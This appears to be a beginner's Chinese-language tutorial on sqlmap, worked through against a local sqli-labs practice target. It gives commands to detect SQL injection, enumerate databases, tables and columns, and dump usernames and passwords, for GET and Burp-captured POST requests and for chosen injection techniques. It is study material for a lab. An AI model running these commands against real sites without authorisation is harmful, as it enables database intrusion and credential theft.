由于python学的啥也不是,脚本写的也很不咋滴(不会写),因此来学习sqlmap的使用,本人只是小白,如果出现错误还请各位师傅多多指正。
--is-dba判断当前用户是管理员权限
--current-user:检测当前用户
--current-db:检测当前数据库
-D:指定数据库
-T:指定数据表
-C:指定字段,用逗号间隔
--dump:获取字段信息
-vx(x指数字)
0:只显示Python的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示调试消息。
3:显示有效载荷注入。
4:显示HTTP请求。
5:显示HTTP响应头。
6:显示HTTP响应页面的内容
--batch:使用非交互式扫描,SQLMap将不会询问
这里以sql-labs第一关来进行示例
python sqlmap.py -u 网址
示例如下
python sqlmap.py -u http://192.168.134.132/Less-1/?id=1
最终执行结果如下
给出了四种可以注入的方法,分别是get型注入,报错注入,时间盲注,联合查询注入
中间会出现三个选择的(全选y即可),具体如下
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
//检测到数据库是mysql,询问你是否要跳过其他数据库
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
//提示是否扫描等级为1风险为1下的所有payload
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
//获取参数id易受攻击。你想继续测试其他的吗,这里我们的参数就一个id,因此选y即可
python sqlmap.py -u 网址 --dbs
解释:-u(--url)指的是url,即网址, --dbs是指数据库
示例如下
python sqlmap.py -u http://192.168.134.132/Less-1/?id=1 --dbs
python sqlmap.py -u http://192.168.134.132/Less-1/?id=1 -D"表名" --tables
示例如下
python sqlmap.py -u http://192.168.134.132/Less-1/?id=1 -D"security" --tables
python sqlmap.py -u http://192.168.134.132/Less-1/?id=1 -D"数据名" -T"表名" --columns -v3
//-v3:显示payload
示例:
python sqlmap.py -u http://192.168.134.132/Less-1/?id=1 -D"security" -T"users" --columns -v3
python sqlmap.py -u http://192.168.134.132/Less-1/?id=1 -D"数据库名" -T"表名" -C"列名" --dump -v3
示例:
python sqlmap.py -u http://192.168.134.132/Less-1/?id=1 -D"security" -T"users" -C"id,username,password" --dump -v3
post注入时,无法直接利用sqlmap来进行破解,但是可以利用burpsuite这个工具来获取内容,将内容复制到一个txt文本中,再利用sqlmap对文本进行破解,具体操作如下
开启浏览器代理,刷新界面,使burpsuite获取到靶场内容,然后复制到下来
构造payload如下
python sqlmap.py -r 文件路径 --batch
示例如下
python sqlmap.py -r "D:\sqlmap\2.txt" --batch
python sqlmap.py -r 文件路径 --batch --dbs
//-r指定路径,--batch无视选择 --dbs是获取数据库
示例如下
python sqlmap.py -r "D:\sqlmap\3.txt" --batch --dbs
python sqlmap.py -r 文件路径 -p注入参数 --dbms mysql --dbs
//-r指定路径,-p指定注入参数,--dbms指的是数据库管理系统,--dbms mysql 就代表mysql全部数据
--dbs 指获取数据库名
示例
python sqlmap.py -r "D:\sqlmap\3.txt" -p"uname " --dbms mysql --dbs
python sqlmap.py -r 文件路径名 -D数据库名 --batch --tables
示例如下
python sqlmap.py -r "D:\sqlmap\3.txt" -D"security" --batch --tables
//获取security库下全部表名
python sqlmap.py -r 文件路径名 -p注入参数 --dbms mysql --tables
示例如下
python sqlmap.py -r "D:\sqlmap\3.txt" -p"passwd" --dbms mysql --tables
//以passwd为参数,在mysql数据库中得到全部表名
python sqlmap.py -r 文件路径 -D数据库名 -T表名 --batch --columns
//-T后跟表名,可得到表的全部列名,当T不写时默认是该数据库所有表的全部列名
示例如下
python sqlmap.py -r "D:\sqlmap\3.txt" -D"security" -T"users" --batch --columns
python sqlmap.py -r 文件路径-p注入参数 --dbms mysql --columns
示例如下
python sqlmap.py -r "D:\sqlmap\3.txt" -p"passwd" --dbms mysql --columns
//获取当前数据库下的列名
python sqlmap.py -r 文件路径 -D数据库名 -T表名 -C列名 --dump --batch
示例如下
python sqlmap.py -r "D:\sqlmap\3.txt" -D"security" -T"users" -C"username,password" --dump --batch
python sqlmap.py -r 文件路径 -p注入参数 --dbms mysql --dump
示例如下
python sqlmap.py -r "D:\sqlmap\3.txt" -p"passwd" --dbms mysql --dump
//获取当前数据库下全部的字段信息
sqlmap默认利用可用的全部方式,当我们想利用某一种方式来进行注入时,该怎么办呢
指令
--technique B 布尔盲注
--technique E 报错注入
--technique U union查询注入
--technique S 堆叠注入
--technique T 时间盲注
--technique Q 内联查询注入
部分示例如下
sqlmap -u"http://192.168.134.132/Less-28a/?id=1" --technique T --time-sec 1 --dbs
//--technique T指定使用时间盲注,--time-sec 1 设置时间盲注时间为1,--dbs 查询数据库
sqlmap -u"http://192.168.134.132/Less-28a/?id=1" --technique T --time-sec 1 --tables